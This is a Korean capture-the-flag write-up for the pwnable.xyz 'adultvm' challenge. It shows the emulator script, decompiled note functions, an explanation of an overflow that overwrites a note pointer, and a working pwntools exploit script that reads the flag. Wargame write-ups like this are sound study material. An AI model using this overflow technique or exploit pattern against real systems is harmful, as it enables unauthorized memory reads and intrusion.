Pwnstar
pwnable.xyz adultvm 본문
파일이 뭐가 되게 많은데 필수적으로 봐야할 것들만 보자.
바이너리 하나, kernel을 실행시켜주는 파이썬 스크립트가 하나 플래그 파일 세 개, kernel이라는 파일이 하나(이건 아직 뭔지 잘 모르겠다.)가 있다.
우선 파이썬 스크립트부터 보자.
#!/usr/bin/env python2
import sys
import os
from unicorn import *
from unicorn.x86_const import *
from threading import Thread
from Queue import Queue
from elftools.elf.elffile import ELFFile
kernel_queue = Queue(1)
user_queue = Queue(1)
KERNEL_ADDRESS = 0xFFFFFFFF81000000
KERNEL_STACK = 0xFFFF8801FFFFF000
KERNEL_SYSCALL_HANDLER = KERNEL_ADDRESS + 7
KERNEL_SEGFAULT_HANDLER = KERNEL_ADDRESS + 14
USER_ADDRESS = 0x4000000
USER_STACK = 0x7ffffffff000
MAPPING_SIZE = 0x100000
USER_TEXT_MEM = "\x00" * MAPPING_SIZE
USER_DATA_MEM = "\x00" * MAPPING_SIZE
USER_STACK_MEM = "\x00" * MAPPING_SIZE
def get_syscall_regs(uc):
return {
"rax": uc.reg_read(UC_X86_REG_RAX),
"rdi": uc.reg_read(UC_X86_REG_RDI),
"rsi": uc.reg_read(UC_X86_REG_RSI),
"rdx": uc.reg_read(UC_X86_REG_RDX),
"r10": uc.reg_read(UC_X86_REG_R10),
"r8" : uc.reg_read(UC_X86_REG_R8),
"r9" : uc.reg_read(UC_X86_REG_R9)
}
def set_syscall_regs(uc, regs):
uc.reg_write(UC_X86_REG_RAX, regs["rax"])
uc.reg_write(UC_X86_REG_RDI, regs["rdi"])
uc.reg_write(UC_X86_REG_RSI, regs["rsi"])
uc.reg_write(UC_X86_REG_RDX, regs["rdx"])
uc.reg_write(UC_X86_REG_R10, regs["r10"])
uc.reg_write(UC_X86_REG_R8, regs["r8"])
uc.reg_write(UC_X86_REG_R9, regs["r9"])
def handle_syscall(uc, user_data):
kernel_queue.put(get_syscall_regs(uc))
set_syscall_regs(uc, user_queue.get())
def handle_userland_invalid(uc, access, address, size, value, user_data):
kernel_queue.put("SEGV")
return False
def handle_kernel(uc, address, size, user_data):
inst = uc.mem_read(address, size)
if inst == "\xcf":
user_queue.put(get_syscall_regs(uc))
if inst == "\xcf" or inst == "\xF3\x90":
msg = kernel_queue.get()
if msg == "SEGV":
uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
else:
set_syscall_regs(uc, msg)
uc.reg_write(UC_X86_REG_RIP, KERNEL_SYSCALL_HANDLER)
def handle_kernel_interrupt(uc, intno, data):
if intno == 0x70:
rax = uc.reg_read(UC_X86_REG_RAX)
if rax == 0:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
uc.mem_protect(rdi, rsi, rdx)
elif rax == 7:
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
buf = str(eval(str(uc.mem_read(rdi, rdx))))
uc.mem_write(rsi, buf)
uc.reg_write(UC_X86_REG_RAX, len(buf))
def handle_kernel_in(uc, port, size, user_data):
if port == 0x3f8 and size == 1:
c = sys.stdin.read(1)
if not c:
os._exit(-1)
return ord(c)
def handle_kernel_out(uc, port, size, value, user_data):
if port == 0x3f8 and size == 1:
sys.stdout.write(chr(value))
sys.stdout.flush()
def handle_kernel_invalid(uc, access, address, size, value, user_data):
log.info("handle_kernel_invalid: 0x{:x}".format(address))
uc.reg_write(UC_X86_REG_RIP, KERNEL_SEGFAULT_HANDLER)
return True
def read(file):
with open(file, 'rb') as f:
return f.read()
def start_userland():
with open("./userland", 'rb') as f:
userland = ELFFile(f).get_segment(0).data()
flag1 = read("./flag1.txt")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC, USER_TEXT_MEM)
mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)
mu.mem_write(USER_ADDRESS, userland)
mu.hook_add(UC_HOOK_INSN, handle_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_userland_invalid)
mu.reg_write(UC_X86_REG_RSP, USER_STACK-0x1000)
mu.reg_write(UC_X86_REG_RIP, USER_ADDRESS)
mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)
mu.emu_start(USER_ADDRESS, USER_ADDRESS + len(userland))
regs = get_syscall_regs(mu)
regs["rax"] = 60
kernel_queue.put(regs)
def start_kernel():
kernel = read("./kernel")
flag2 = read("./flag2.txt")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)
mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)
mu.mem_write(KERNEL_ADDRESS, kernel)
mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)
mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)
mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)
mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))
if __name__ == '__main__':
kernel = Thread(target=start_kernel)
userland = Thread(target=start_userland)
kernel.start()
userland.start()
kernel.join()
userland.join(1)
os._exit(0)
핵심함수는 start_userland라는 함수이다.
앞서 문제 설명에
플래그는 flag1.txt에 있음이라고 되어 있는데, 이 파일을
mu.mem_write(USER_ADDRESS + MAPPING_SIZE, flag1)
user_address + mapping_size의 위치에 적어놨다. 고정주소인데, 0x4100000이므로 이 곳의 주소를 읽으면 된다.
이제 바이너리를 살펴보자.
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
while ( 1 )
{
while ( 1 )
{
print_menu();
result = get_int();
if ( result != 2 )
break;
show_note();
}
if ( result == 3 )
break;
if ( result == 1 )
edit_note();
}
return result;
}
1을 입력하면 edit_note를 2를 입력하면 show_note를 실행해준다.
edit_note
void __cdecl edit_note()
{
signed int id; // [rsp+Ch] [rbp-4h]
do_write(id_str, 9uLL);
id = get_int();
if ( id >= 0 && id <= 9 )
{
if ( !notes[id].note )
{
notes[id].note = &memory[memory_ptr];
notes[id].size = 56LL;
notes[id].serial = (unsigned int)(((1664525 * id + 1013904223) >> 31) + 1664525 * id + 1013904223)
- ((unsigned __int64)((unsigned __int128)(1664525 * id + 1013904223) >> 64) >> 32);
memory_ptr += notes[id].size;
}
do_write(contents_str, 0xBuLL);
notes[id].id = id;
notes[id].show = print_note;
notes[id].size = read_line(notes[id].note, 0x40uLL);
}
}
note의 구조체에 +0에는 노트의 id(인덱스), +8에는 노트가 적히는 주소, + 0x10에는 노트의 사이즈, +0x20에는 print_note의 주소가 들어있다. 여기서 생기는 취약점이
노트의 시작 주소는 0x4100180인데, 0x40바이트씩 9개나 입력을 받을 수 있으므로 뒤의 노트의 첫번째 구조체를 내가 원하는 값으로 덮어줄 수 있음.
9번째 노트의 값을 조작해서 0x4100180을 0x4100000로 바꾸면 flag1.txt를 읽을 수 있다.
show_note
void __cdecl show_note()
{
signed int id; // [rsp+Ch] [rbp-4h]
do_write(id_str, 9uLL);
id = get_int();
if ( id >= 0 && id <= 9 )
{
if ( notes[id].show )
((void (__fastcall *)(size_t, char *, size_t, uint64_t))notes[id].show)(
notes[id].id,
notes[id].note,
notes[id].size,
notes[id].serial);
}
}
덮어주고 show_note함수로 출력해주면 끗
ex.py
from pwn import*
#p = process(["python", "start.py"])
p = process("./userland")
#p = remote("svc.pwnable.xyz", 30048)
script = '''
b*0x000000000400032D
b*0x0000000004000321
'''
gdb.attach(p, script)
for i in range(0, 9):
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", str(i))
p.sendafter(": ", "A"*0x40)
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", "9")
p.sendlineafter(": ", p64(0)*2 + p64(0x4100000) + p64(0x20))
p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")
p.interactive()
xyz의 adultvm이 아무래도 hackctf의 언익스시리즈같은 문제인 것 같다. 같은 바이너리에 플래그 찾기 점점 힘들어지는 게 똑같다ㅋㅋ
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz adultvm3 (0) | 2020.12.22 |
---|---|
pwnable.xyz adultvm2 (0) | 2020.12.22 |
pwnable.xyz note v4 (0) | 2020.12.20 |
pwnable.xyz fishing (0) | 2020.12.19 |
pwnable.xyz babyvm (0) | 2020.12.17 |
Comments